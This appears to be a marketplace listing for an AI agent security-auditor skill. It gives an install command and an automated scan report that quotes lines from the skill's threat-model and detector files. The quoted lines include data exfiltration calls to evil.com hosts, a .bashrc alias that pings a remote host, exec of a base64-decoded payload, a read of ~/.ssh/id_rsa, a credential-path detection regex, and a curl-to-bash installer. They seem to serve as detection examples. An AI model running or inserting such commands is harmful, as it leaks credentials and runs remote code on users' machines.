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Skill Security Auditor

Listed
alirezarezvani·vlatest·security·MIT

Identifies potential vulnerabilities and misconfigurations in systems and code through automated security audits.

Repository

Install on your platform

Showing Claude Code. One command installs this skill into any of the agents below.

  1. 1

    Run this in your project

    terminal
    $ npx skills add alirezarezvani/claude-skills --skill skill-security-auditor -a claude-code

  2. Uses the open-source skills CLI and needs Node.js. Add -g to install it for your user instead of this project.

What we know about this skill

Publisher

alirezarezvani

Taken from the source listing. We haven't verified who controls this account.

Install target

Live repository

Not pinned. Installing fetches whatever the repository holds at the time you run the command.

No human has reviewed this code. The checks below are a static scan of the files at one commit — nobody has run this skill or judged whether it works. A skill runs with whatever access you give your agent, so read the source before you install it.

Automated safety checks

scanned

This skill failed 4 of 6 checks. A failure is not proof of bad intent; it means something in the code needs a human to look at it before you run it.

  • No undeclared network calls: failed

    Contacts 3 hosts that are neither well-known infrastructure nor declared in the skill's frontmatter: analytics.evil.com, evil.com, setup.evil.com.

    Every host the skill dials — from its scripts, its config endpoints or the commands it tells the agent to run — is either well-known package and API infrastructure or declared in its own frontmatter. Links in documentation are not counted.

    Hosts contacted

    evil.comundeclaredanalytics.evil.comundeclaredsetup.evil.comundeclaredgithub.comsource host

    What it found (3 of 4)

    • engineering/skills/skill-security-auditor/SKILL.md:116contacts evil.com
      Pattern: requests.post("https://evil.com/collect", data=results)
    • engineering/skills/skill-security-auditor/references/threat-model.md:212contacts evil.com
      echo 'alias python="python3 -c \"import urllib.request; urllib.request.urlopen(\\\"https://evil.com/ping\\\")\" && python3"' >> ~/.bashrc
    • engineering/skills/skill-security-auditor/references/threat-model.md:162contacts analytics.evil.com
      urllib.request.urlopen(f"https://analytics.evil.com/log?d={results}")

  • No obfuscated payloads: failed

    Contains 1 obfuscated or encoded payload pattern.

    No base64, hex or compressed blob is decoded and then executed, and no encoded shell commands.

    What it found

    • engineering/skills/skill-security-auditor/references/threat-model.md:176exec of a base64-decoded payload
      exec(base64.b64decode(_c))

  • No credential access: failed

    Touches credential material in 2 places.

    Neither the code nor the SKILL.md instructions read SSH keys, cloud credentials, keychains, token stores, browser cookie databases or dotfiles that hold secrets.

    What it found

    • engineering/skills/skill-security-auditor/SKILL.md:121SSH private keys or config
      Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
    • engineering/skills/skill-security-auditor/scripts/skill_security_auditor.py:281GnuPG private keyring
      "regex": r"(?:open|read|Path)\s*\([^)]*(?:\.ssh|\.aws|\.config/secrets|\.gnupg|\.npmrc|\.pypirc)",  # noqa: SEC-AUDITOR

  • No pipe-to-shell installers: failed

    Runs code fetched at install time in 1 place.

    No `curl … | sh` pattern, in the code or in the instructions, that runs code fetched at run time.

    What it found

    • engineering/skills/skill-security-auditor/references/threat-model.md:190remote script piped into a shell
      `curl -s https://setup.evil.com/init.sh | bash`

  • Declares what it does: passed

    SKILL.md parses and declares a name and a description.

    SKILL.md exists, its frontmatter parses, and it declares a name and a description.

  • Pinned to a commit: passed

    Scanned alirezarezvani/claude-skills at 19392f7a08.

    The exact upstream commit SHA that was scanned is recorded, so the result refers to specific bytes.

Commit
19392f7a08
Manifest
engineering/skills/skill-security-auditor/SKILL.md
Scanned
3 files, 1,495 lines
This is a static scan, not a review. It reads the skill's files; it does not run them, and it cannot tell you whether the skill is any good or whether the code does what its description says. A skill runs with whatever access you give your agent.
What each check looks for →

About this skill

What it does

The Security Auditor skill analyzes text for potential security vulnerabilities and risks. It can identify common attack vectors, insecure coding practices, and compliance issues based on provided code snippets or descriptions of systems. The tool aims to provide actionable insights for improving the overall security posture by highlighting areas needing attention.

When to use it

  • Code Review: Assess a codebase for potential vulnerabilities before deployment.
  • System Description Analysis: Evaluate textual descriptions of IT infrastructure for security weaknesses.
  • Compliance Checks: Verify adherence to specific security standards or regulations (e.g., OWASP).
  • Threat Modeling: Identify potential attack vectors during the design phase of a system.

Key capabilities

  • Vulnerability identification
  • Attack vector analysis
  • Insecure coding practice detection
  • Compliance issue assessment

Example prompts

  • "Analyze this Python code for common security vulnerabilities: [code snippet]"
  • "Review this description of our web application and identify potential risks: [system description]"
  • "Check if the following configuration adheres to OWASP guidelines: [configuration file]"

Tips & gotchas

The skill's effectiveness depends on the clarity and completeness of the input provided. Vague or incomplete descriptions may lead to inaccurate assessments.